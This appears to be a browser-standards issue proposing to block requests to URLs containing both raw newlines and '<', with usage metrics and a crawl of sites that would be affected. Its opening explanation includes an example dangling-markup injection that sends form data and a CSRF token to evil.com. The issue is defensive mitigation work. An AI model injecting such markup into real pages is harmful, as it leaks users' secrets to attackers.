Prevent requests to HTTP(S) URLs containing raw `\n` and `<`.

In https://crbug.com/680970, we've been iterating on some metrics in Chrome in the hopes of implementing some simple heuristics that would reduce the risk of data exfiltration due to dangling markup insertion. That is, consider a page like:

```
Hello, [XSS INJECTION POINT, OH NOES!]!

<form action="https://sekrit.endpoint/?sekrit=query">
  <input type="hidden" name="csrf" value="token">
  <input type="submit" value="Clicky click!">
</form>  
<p>Click the button, it's awesome!</p>
```

If an attacker can inject something like `<img src='https://evil.com/?whatever=`, the browser will happily suck up the whole form, close the URL at the `'` in `it's`, and close the `<img` with the `>` in `</p>`, sending the secret data out to `evil.com` via the image requests thus generated.

I'd suggest that we can mitigate this risk by blocking fetches for URLs containing both raw `\n` and `<` characters. I'd love to simply block `\n` entirely, but that seems more widely-used than I can justify breaking.

From Chrome's beta channel, we see the following numbers over the last week:

* 0.4708% of page views [parse a URL](https://html.spec.whatwg.org/#parse-a-url) containing `\n`.
* 0.2749% actually fetch a url containing `\n`.
* 0.0189% of page views [parse a URL](https://html.spec.whatwg.org/#parse-a-url) a URL containing both `\n` and `<`.
* I forgot that `<` is percent-encoded by the time we get to fetching, so my data here is crap. Assuming the same ratio, 0.0110% of page views might fetch a URL containing `\n` and `<`.

0.01% is not nothing, so I've dug into the data a little more. Details below, but the TL;DR is that I don't think blocking fetches for URLs with HTTP(S) schemes that contained both `\n` and `<` before parsing would break sites that aren't already broken. It does look like it would have some effect on advertising scripts, but those shared scripts seem most likely to update quickly if/when this change started to affect someone's bottom line.

I'll send out some PRs shortly to sketch this out in more detail, but I'd like to get some feedback from other vendors here. WDYT, @annevk, @mozfreddyb, @ckerschb, @dveditz, @hillbrad, @johnwilander, and @travisleithead (and whoever else y'all decide to CC).

---

**Results**

Using an internal tool to crawl a list of 100k sites (culled from a somewhat-old version of Alexa's 1M), I got 96 pages that parsed a URL containing both `\n` and `<`. Of those, 25 actually fetched such a URL:

*   http://www.alikhbariaattounisia.com/ contains `<img src="<!DOCTYPE html>\n<html lang="en" ...` where the image URL looks like it's been populated with an error page result.
*   http://www.bethesdamagazine.com/ fails to close the `src` attribute on `<img alt="Bethesda Magazine May-June 2017 - May-June 2017" class="cover" iar="1" q="85" src="http://rivista-cdn.bethesdamagazine.com/images/cache/cache_9/cache_6/cache_9/MayJune2017Cover-ff589969.jpeg?ver=1494990796&aspectratio=0.76113360323887  /> </a></div>`
*   http://www.ralphlauren.fr/ and http://www.ralphlauren.co.uk both load `http://click.exacttarget.com/conversion.aspx?xml=%3Csystem%3E%3Csystem_name%3Etracking%3C/system_name%3E%3Caction%3Econversi...` where the URL has been generated by a system that contains raw tabs.
*   http://www.521mx.cn (which generated a safe browsing warning, so, be careful out there) contains:
    
    ```
    <img src="
    
    
    <a href="http://pic.yesky.com/10/125409510_2.shtml" target="_self">
    ```
*   http://www.viralnovas.com contains `<script async="true" src="//pmpubs.com/ps?cfg=56783775&sid=viralnovas”></script>` (note the curly closing-quote)
*   http://www.abc-cash.com/ builds `http://www.abc-cash.com/feeds/posts/default?alt=json-in-script&max-results=document.write(%22%3Cscript%20src=\%22&call...` out of the contents of a script element.
*   http://www.hotnews.ro/, htttp://elohell.net/ and http://www.onisep.fr/ build a link to `http://pre.glotgrx.com/` that contains raw JavaScript as its query string. Apparently intentionally.
*   http://www.zajenata.bg builds a tracking link that contains raw HTML content (`http://pik.bg/?utm_source=kartite&utm_medium=cpm&utm_term=direct%3E%3C/iframe%3E%3C/div%3E%20%20%20%20%20%20%3C/...`)
*   http://www.lien-torrent.com/ (which has pretty NSFW ads) has a PHP error in an iframe's `src` attribute:
    
    ```
    <iframe class="verticalifr" scrolling="No" marginwidth="0" marginheight="0" hspace="0" vspace="0" frameborder="0" src="http://www.lien-torrent.com/eticilbup/<br />
    <b>Notice</b>:  Undefined variable: cid in <b>/home/lien-torrent/public_html/index.php</b> on line 
    <b>183</b><br />
    affiche.php?f=verticaledroit">`)
    ```
*   http://www.motive.com.tw/ doesn't close a `src` attribute: `<img width="510" height="381" src="http://i.imgur.com/YXGS5ml.jpg <BR>共8堂 陸續開課中</A><BR>`
*   https://menunedeli.ru/ doesn't close an attribute in a link tag: `<link type="text/css" rel="stylesheet" href="/wp-content/themes/freshfruits11/style-new.css?v=11 />`
*   http://www.theradicals.com uses curly-quotes to close a script tag: `<script src="//ad.adip.ly/dlvr/adiply_statmarg.min.js?site_id=TheRadicalsSide_AP&t=400”></script>`
*   http://susiesreviews.com/ contains some template escaping errors `<script arial="" font-family:="" helvetica="" sans-serif="" src="https://widget-prime.rafflecopter.com/launch.&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=">`
*   http://www.rcnradio.com only loads `data:` URLs matching the criteria.
*   https://www.shape5.com/ opens a script tag with a single-quote, and closes it with a double-quote: `<script type='text/javascript' src='https://my.sendinblue.com/public/theme/version3/js/subscribe-validate.js?v=1465900639"></script>`
*   http://www.universalorlandovacations.com loads an ad frame, which closes a `src` with curly-quotes: `<img src="https://sp.analytics.yahoo.com/spp.pl?a=10000&.yp=11416&ec=BK”/>`
*   http://bestgif.su/ doesn't close an img tag: `<img src="http://bestgif.su/_ph/35/2/51564987...`
*   http://www.gliffy.com/ has a PHP error instead of a stylesheet:
    
    ```
    <link rel="stylesheet" type="text/css" href="<br />
    <b>Warning</b>:  constant(): Couldn't find constant EMBER_S3_BUCKET in 
    <b>/var/www/html/index.php</b> on line <b>20</b><br />
    /assets/vendor.css">`
    ```
*   http://www.vandvshop.com doesn't close a `src`: `<img alt="" height="100" src="http://www.vandvshop.com/image/Merry-Xmas-Animated-ij44-1(1).gif></div>`
*   http://www.dsogaming.com closes a `src` with curly-quotes: `<script type="text/javascript" src="https://n-cdn.areyouahuman.com/play/a3c2693aa8a5bb495f9782afbc476134243f2ab2?AYAH_F1=[oarex_dsogaming]”>`
*   http://www.iteye.com/ includes an ad script that builds up a URL containing raw JavaScript. Apparently intentionally.
*   http://www.9384.com/ has a PHP error instead of an image:

    ```
    <img class="shop-img" src="<br />
    <b>Notice</b>:  Undefined index: picture in <b>/var/www/9384/htm3/tpl/scr/index.php</b> on line 
    <b>149</b><br />
    _220x220.jpg" alt="" />
    ```

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Prevent requests to HTTP(S) URLs containing raw `\n` and `<`. #546

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Prevent requests to HTTP(S) URLs containing raw `\n` and `<`. #546

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